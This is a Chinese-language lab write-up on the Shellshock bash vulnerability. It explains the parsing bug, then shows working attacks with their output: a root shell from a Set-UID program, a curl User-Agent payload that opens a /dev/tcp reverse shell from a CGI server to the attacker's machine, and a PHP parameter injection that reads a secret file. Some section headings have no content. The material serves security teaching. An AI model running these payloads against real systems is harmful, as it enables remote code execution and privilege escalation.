預備環境
Ubuntu16.04
存在shellshock漏洞的bash程序。
預備知識
Bash源代碼中的錯誤
if (privmode== 0 && read_but_dont_execute == 0 && STREQN ( "() {" , string, 4 ) {
. . .
parse_and_excute ( temp_string, name, SEVAL_NONINT| SEVAL_NOHIST) ;
}
Bash檢查環境變量是否以"() { "開頭,以確定是否需要把它轉換爲函數,一旦發現這樣的字符串,Bash將“=”替換成空格從而將環境變量變成一個函數定義,生產下面的字符串:
foo ( ) { echo "hello world" ; } ; echo "extre" ;
然後Bash調用parse_and_execute()函數來解析函數定義,然而parse_and_execute()函數的功能太過強大,它不僅僅解析函數定義,還可以解析和運行其他的shell指令。如果字符串只是一個函數定義,該函數只會解析它而不會執行它,但如果該字符串包含用分號(;)隔開的多個shell命令,則parse_and_execute()函數會解析和運行每一條命令。
Shellshock漏洞要求滿足兩個條件
開始實驗
利用ShellShock攻擊Set-UID程序
當一個root用戶的Set-UID程序通過system()函數執行/bin/ls程序時,將會啓動一個Bash進程,攻擊者設計的環境變量將導致非授權的命令以root權限被執行。
準備有漏洞的程序
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
void main ( )
{
setuid ( geteuid ( ) ) ;
system ( "/bin/ls -l" ) ;
}
system()函數來執行來執行/bin/ls命令,system()函數實際上會使用fork()函數來創建子進程,然後使用execl()函數執行/bin/sh程序,最終請求shell程序執行/bin/ls。
在Ubuntu16.04中,/bin/sh指向的是/bin/dash,因此system()函數只會調用/bin/dash,而這個程序是沒有Shellshock漏洞的,因此需要修改鏈接,讓/bin/sh指向有漏洞的bash_shellshock程序。
sudo ln -sf /bin/bash_shellshock /bin/sh
setuid(seteuid())函數把真是用戶ID變爲和有效用戶ID一致,因爲如果真實用戶ID和有效用戶ID不一致的話,Bash不會處理從環境變量處獲得函數定義,因此不會受到Shellshock攻擊。
編譯並設置程序爲root用戶的Set-UID程序。
[ 07/05/20] seed@VM:~/codegcc -o vul vul.c
[ 07/05/20] seed@VM:~/codesudo chown root vul
[ 07/05/20] seed@VM:~/codesudo chmod 4755 vul
[ 07/05/20] seed@VM:~/code$ ./vul
total 12
-rwsr-xr-x 1 root seed 7420 Jul 5 07:40 vul
-rw-rw-r-- 1 seed seed 119 Jul 5 07:40 vul.c
基於Shellshock漏洞,可以構造一個函數聲明,並將所選命令(/bin/sh)放在聲明的最後,然後輸出(export),再運行程序。
在這裏需要注意shell函數聲明內部的空格縮進,否則易發生錯誤。
[ 07/05/20] seed@VM:~/code$ export foo= '() { echo hello; }; /bin/sh'
[ 07/05/20] seed@VM:~/code$ ./vul
sh-4.2
當運行Set-UID程序時(vul)時,shell變量會變成子進程的環境變量,由於system()函數的原因,Bash會被調用,它檢測到環境變量foo中存放一個函數聲明,因此會解析該聲明。
由於解析邏輯中的漏洞,它最終會執行放在末尾的/bin/sh,可以看到在運行後,出現了一個#號提示符就說明我們已經獲取到了root權限的shell。
利用Shellshock攻擊CGI程序
該實驗需要準備兩臺虛擬機:一個時攻擊者,一個是目標服務器。
首先用Bash腳本編寫一個簡單的CGI程序,它的作用僅僅是打印出“Hello World”。
在CGI程序中使用有漏洞的bash_shellshock
#!/bin/bash _shellshock
echo "Content-type: text/plain"
echo
echo
echo "Hello World"
然後需要將該CGI程序放到目標服務器的/usr/lib/cgi-bin目錄中,並將它的權限設置爲775,該目錄是Apache服務器的默認CGI目錄。
獲取服務器目錄信息
盜取密碼
創建反向shell
反向Shell是讓程序把它的輸入和輸出都交由遠程計算機的用戶控制,一般在受害者的機器中運行該Shell,從攻擊者的機器中接受輸入,同時也將輸出發送到攻擊者的機器中,反向shell爲攻擊者提供了一種在已被攻破的機器中運行命令的便捷方法。
攻擊者先運行,在攻擊者的機器中開啓一個TCP服務器,監聽9090端口。
Attacker@VM:/$ nc -lv 9090
然後再啓動一個控制檯運行下面給命令向目標服務器的CGI發起惡意請求:
Attacker@VM:/$ curl -A "() { echo hello; }; echo Content-type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/192.168.137.129/9090 0<&1 2>&1" http://192.168.137.128/cgi-bin/test.cgi
/bin/bash -i意味着使用shell的可交互模式,shell在這個模式下會提供提示符。
/dev/tcp/192.168.137.129/9090,使得shell的輸出設備被重定向至TCP連接,連接到192.168.137.129的9090端口,在UNIX系統中,stdout的文件描述符是1.
0<&1:文件描述符0代表標準輸入設備,這個選項告訴系統將標準輸出設備也用作標準輸入設備。由於標準輸出已經重定向到TCP連接,因此Shell程序會從同一個TCP連接獲得輸入。TCP連接是一個雙向設備,既可以往裏面寫數據,也可以從中讀取數據。
2>&1:文件描述符2代表標準錯誤,這是錯誤也被重定向到TCP連接。
總結:/bin/bash -i > /dev/tcp/192.168.137.129/9090 0<&1 2>&1在服務器上開啓一個Bash shell,他的輸入來自TCP連接,輸出又被傳給同一個TCP連接。
從結果來看,一旦curl指令被執行,攻擊指令也會再服務器上被運行,這將導致CGI程序觸發一個Bash shell,該Bash shell會鏈接到192.168.137.129的9090端口,也就是攻擊者的計算機,攻擊者的nc程序會接受這個連接,並顯示由遠端服務器的CGI觸發的Bash程序送來的Shell提示符,這表反向Shell成功了。
Attacker@VM:/$ nc -lv 9090
Listening on [ 0.0.0.0] ( family 0, port 9090)
Connection from [ 192.168.137.128] port 9090 [ tcp/*] accepted ( family 2, sport 47966)
bash: cannot set terminal process group ( 2389) : Inappropriate ioctl for device
bash: no job control in this shell
www-data@VM:/usr/lib/cgi-bin$ id
uid= 33( www-data) gid= 33( www-data) groups= 33( www-data)
結果表明,可以服務器上以www-data身份運行任何命令了,雖然不是一個特殊用戶。
針對PHP的遠程攻擊
存在漏洞的PHP程序
<?php
function getParam ( )
{
$arg = NULL ;
if ( isset ( $_GET [ "arg" ] ) && ! empty ( $_GET [ "arg" ] ) )
{
$arg = $_GET [ "arg" ] ;
}
return $arg ;
}
$arg = getParam ( ) ;
putenv ( "ARG=$arg " ) ;
system ( "strings /proc/$$/environ | grep ARG" ) ;
?>
將該文件放到/var/www/html目錄下,修改文件權限爲775.
通過攻擊者的計算機執行如下指令:
Attacker@VM:/$ curl http://192.168.137.128/test.php?arg= "()%20%7B%20echo%20hello;%20%7D;%20/bin/cat%20/var/www/secret.txt"
THIS IS SECRET
對於arg參數來說,除了包含一個shell函數定義外,還加上額外的命令,該命令是"arg=() { echo hello;}; /bin/cat /var/www/secret.txt"的URL編碼,該命令的目的是讀取secret.txt文件的內容,當system()函數開啓shell程序解析環境變量時,在shell函數定義末尾的額外指令將被執行。